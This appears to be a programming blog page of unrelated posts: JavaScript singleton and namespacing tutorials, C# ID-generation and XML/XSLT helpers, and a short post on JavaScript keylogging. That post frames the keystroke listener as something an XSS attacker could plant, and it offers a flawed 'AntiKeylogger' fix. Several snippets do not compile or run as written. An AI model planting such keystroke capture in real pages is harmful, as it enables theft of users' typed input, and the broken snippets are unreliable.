Search

Singleton in javascript

The singleton pattern is what you use when you want to ensure that only one instance of an object is ever created. In classical object-oriented programming languages, the concepts behind creating a singleton was a bit tricky to wrap your mind around because it involved a class that has both static and non-static properties and methods. I’m talking about JavaScript here though, so with JavaScript being a dynamic language without true classes, the JavaScript version of a singleton is excessively simple.

Why do you need the singleton?

Before I get into implementation details, I should discuss why the singleton pattern is useful for your applications. The ability to ensure you have only one instance of an object can actually come in quite handy. In server-side languages, you might use a singleton for handling a connection to a database because it's just a waste of resources to create more than one database connection for each request. Similarly, in front-end JavaScript, you might want to have an object that handles all AJAX requests be a singleton. A simple rule could be: if it has the exact same functionality every time you create a new instance, then make it a singleton.
This isn't the only reason to make a singleton, though. At least in JavaScript, the singleton allows you to namespace objects and functions to keep them organized and keep them from cluttering the global namespace, which as you probably know is a horrible idea, especially if you use third party code. Using the singleton for name-spacing is also referred to as the module design pattern.

Show me the singleton

To create a singleton, all you really need to do is create an object literal.

var Singleton = {
    prop: 1,
    another_prop: 'value',
    method: function() {…},
    another_method: function() {…}
};


You can also create singletons that have private properties and methods, but it's a little bit trickier as it involves using a closure and a self-invoking anonymous function. Inside a function, some local functions and/or variables are declared. You then create and return an object literal, which has some methods that refererence the variables and functions that you declared within the larger function's scope. That outer function is immediately executed by placing () immediately after the function declaration and the resulting object literal is assigned to a variable. If this is confusing, then take a look over the following code and then I'll explain it some more afterward.

var Singleton = (function() {
var private_property = 0,
private_method = function () {
console.log('This is private');
}
return {
prop: 1,
another_prop: 'value',
method: function() {
private_method();
return private_property;
},
another_method: function() {…}
}
}());
view raw Singleton.js hosted with ❤ by GitHub


The key is that when a variable is declared with var in front of it inside a function, that variable is only accessible inside the function and by functions that were declared within that function (the functions in the object literal for example). The return statement gives us back the object literal, which gets assigned to Singleton after the outer function executes itself.

Namespacing with the singleton

In JavaScript, namespacing is done by adding objects as properties of another object, so that it is one or more layers deep. This is useful for organizing code into logical sections. While the YUI JavaScript library does this to a degree that I feel is nearly excessive with numerous levels of namespacing, in general it is considered best practice to limit nesting namespaces to only a few lavels or less. The code below is an example of namespacing.

var Namespace = {
Util: {
util_method1: function() {…},
util_method2: function() {…}
},
Ajax: {
ajax_method: function() {…}
},
some_method: function() {…}
};
// Here's what it looks like when it's used
Namespace.Util.util_method1();
Namespace.Ajax.ajax_method();
Namespace.some_method();
view raw Namespace.js hosted with ❤ by GitHub

The use of namespacing, as I said earlier, keeps global variables to a minumum. Heck, you can even have entire applications attached to a single object namespace named app if that's your perogative.

Generating unique ID with c#

In order to generate the IDs used in Youtube the following serves as an potential example. It uses the datetime class to generate ID which should be unique if the code runs on a single system.

// A potential example to generating unique IDs as the youtube ID
void Main()
{
long unixTimestamp = (long)(DateTime.UtcNow.Subtract(new DateTime(1970, 1, 1,0,0,0,0))).TotalSeconds;
Console.WriteLine("EPOCH: {0}",unixTimestamp);
long T = unixTimestamp;// DateTime.UtcNow.Ticks;
Console.WriteLine("Current T: {0}",T);
// Convert T to binary
string binary = IntToString(T, new char[] { '0', '1' });
Console.WriteLine("BinaryTick: {0}",binary);
// Convert to hexadecimal
string hex = IntToString(T, new char[] { '0', '1', '2', '3', '4', '5', '6', '7', '8', '9','A', 'B', 'C', 'D', 'E', 'F'});
Console.WriteLine("HexTick: {0}",hex);
// Convert T to hexavigesimal (base 26, A-Z)
string hexavigesimal = IntToString(T,
Enumerable.Range('a', 26).Select(x => (char)x).ToArray());
Console.WriteLine("HexavigesimalTick: {0}",hexavigesimal);
// Convert T to sexagesimal
string xx = IntToStringFast(T,
new char[] { '0','1','2','3','4','5','6','7','8','9',
'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x'});
Console.WriteLine("SexagesimalTick: {0}",xx);
}
// Other methods and classes here
public static string IntToString(long value, char[] baseChars)
{
string result = string.Empty;
int targetBase = baseChars.Length;
do
{
result = baseChars[value % targetBase] + result;
value = value / targetBase;
}
while (value > 0);
return result;
}
/// An optimized method using an array as buffer instead of string concatenation. This is faster for return values having a length > 1.
public static string IntToStringFast(long value, char[] baseChars)
{
// 32 is the worst cast buffer size for base 2 and int.MaxValue
int i = 32;
char[] buffer = new char[i];
int targetBase= baseChars.Length;
do
{
buffer[--i] = baseChars[value % targetBase];
value = value / targetBase;
}
while (value > 0);
char[] result = new char[32 - i];
Array.Copy(buffer, i, result, 0, 32 - i);
return new string(result);
}

Parsing XML using Javascript

Example to parse Xml using JScript & XMLDOM

/* Jscript: Parse XML Document */
var oXmlDoc = new ActiveXObject("Microsoft.XMLDOM"); //Create an XML document that you can parse.
oXmlDoc.async = false;
oXmlDoc.loadXML(resultSet); //Load the XML document that has the UnEncoded results.
var results = oXmlDoc.getElementsByTagName('result'); //get the specified node by DOM function
var currency = oXmlDoc.selectNodes("//businessinterest")[1].text; //gets the no of nodes with function

Generate Xml from Xslt file

In order to generate a xml from nowhere this method is a helped utility.
// Generate Xmlfrom Xslt file
public void GenerateXml(string xsltFilePath)
{
var xslCompiledTransformation = new XslCompiledTransform(true);
xslCompiledTransformation.Load(xsltFilePath); //load the xslt
using(var memory = new MemoryStream()) //Use memeory stream to read write the query in memory
{
//#Setup
XmlReader xmlReader = XmlReader.Create(new StringReader("data"));
//#Write
var strWriter = new StreamWriter(memory);
xslCompiledTransformation.Transform(xmlReader, xsltArgumentList, strWriter);
strWriter.Flush();
//#Set position= 0
memory.Position = 0;
//#Read
var strRead = new StreamReader(memory);
strResult = strRead.ReadToEnd();
strRead.Close();
}
//#return
return strResult;
}

Keylogging in JavaScript

Keylogging in JavaScript

There has been lot of questions on this, and people are still confused like how to write a keylogger with Javascript, does it work ? So here it is.. an yes it works, basically it not a magic as such we just exploit the onkeypress() function here. If your wesite has an XSS vernuability attacker can attach an listener and send the keystrokes back to the service.

// this will attach a listener to the onkeypress() event
document.onkeypress = function(e){ 
    window.keyp += e.key;  //we store the key into a window variable to create the complete word
    if(e.code === "Space") // we check for when space is pressed to print the word out in console
    { 
        console.log(window.keyp); //print
        window.keyp = ""; // we made the window variable null again
    } 
};

//to overcome this we can have someting as AntiKeylogger and call it when the page is loaded
//disables the keystroke logging 
function AntiKeylogger(){
    window.onkeydown = undefined;
    window.onkeypress = undefined;
    window.onkeyup = undefined;
    document.onkeydown = undefined;
    document.onkeypress = undefined;
    document.onkeyup = undefined;
}();

Xml Helper file

I wrote a helper utility to work with XMl files in C#, these are some common set of functions that i have been using for day-to-day work, I compiled it inside a common entity now ;)

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Xml;
using System.Xml.Linq;
using System.Xml.Schema;
using System.Xml.Xsl;
namespace Killercodes.Xml
{
public static class XmlUtilities
{
public static string InnerXML (XElement xElement)
{
var reader = xElement.CreateReader();
reader.MoveToContent();
return reader.ReadInnerXml();
}
public static string OuterXML (XElement xElement)
{
var reader = xElement.CreateReader();
reader.MoveToContent();
return reader.ReadOuterXml();
}
private static XElement RemoveAllNamespaces (XElement xElement)
{
if (!xElement.HasElements)
{
XElement newXElement = new XElement(xElement.Name.LocalName);
newXElement.Value = xElement.Value;
foreach (XAttribute attribute in xElement.Attributes())
newXElement.Add(attribute);
return newXElement;
}
return new XElement(xElement.Name.LocalName, xElement.Elements().Select(el => RemoveAllNamespaces(el)));
}
public static string ApplyTransformation (string xmlContent, string xsltFilePath)
{
XslCompiledTransform transform = new XslCompiledTransform(true);
transform.Load(xsltFilePath, XsltSettings.TrustedXslt, new XmlUrlResolver());
XElement xmlDocumentWithoutNs = null;
if (xmlContent.EndsWith(".xml", StringComparison.InvariantCultureIgnoreCase))
{
xmlDocumentWithoutNs = RemoveAllNamespaces(XElement.Parse((File.ReadAllText(xmlContent))));
}
else
{
xmlDocumentWithoutNs = RemoveAllNamespaces(XElement.Parse(xmlContent));
}
XmlReader reader = XmlReader.Create(new StringReader(xmlDocumentWithoutNs.ToString()));
StringWriter output = new StringWriter();
XmlWriter writer = XmlWriter.Create(output, transform.OutputSettings);
transform.Transform(reader, writer);
return output.ToString();
}
public static void SchemaValidation (string xmlFilePath)
{
// Set the validation settings.
XmlReaderSettings settings = new XmlReaderSettings();
settings.ValidationType = ValidationType.Schema;
settings.ValidationFlags |= XmlSchemaValidationFlags.ProcessInlineSchema;
settings.ValidationFlags |= XmlSchemaValidationFlags.ProcessSchemaLocation;
settings.ValidationFlags |= XmlSchemaValidationFlags.ReportValidationWarnings;
settings.ValidationEventHandler += new ValidationEventHandler(SchemaValidationCallBack);
// Create the XmlReader object.
XmlReader reader = XmlReader.Create(xmlFilePath, settings);
// Parse the file.
while (reader.Read()) ;
}
// Display any warnings or errors.
private static void SchemaValidationCallBack (object sender, ValidationEventArgs args)
{
if (args.Severity == XmlSeverityType.Warning)
Console.WriteLine("\tWarning: Matching schema not found. No validation occurred." + args.Message);
else
Console.WriteLine("\tValidation error: " + args.Message);
}
public static void SchemaValidation (string xmlFilePath, string schemaFilePath)
{
// Create the XmlSchemaSet class.
XmlSchemaSet sc = new XmlSchemaSet();
sc.Add(null, schemaFilePath);
// Set the validation settings.
XmlReaderSettings settings = new XmlReaderSettings();
settings.ValidationType = ValidationType.Schema;
settings.Schemas = sc;
settings.ValidationEventHandler += new ValidationEventHandler(SchemaValidationCallBack);
// Create the XmlReader object.
XmlReader reader = XmlReader.Create(xmlFilePath, settings);
// Parse the file.
while (reader.Read()) ;
//Close the reader.
reader.Close();
}
public static bool ValidateSchema (string xmlPath, string xsdPath)
{
XmlDocument xml = new XmlDocument();
xml.Load(xmlPath);
xml.Schemas.Add(null, xsdPath);
try
{
xml.Validate(null);
}
catch (XmlSchemaValidationException)
{
return false;
}
return true;
}
}
}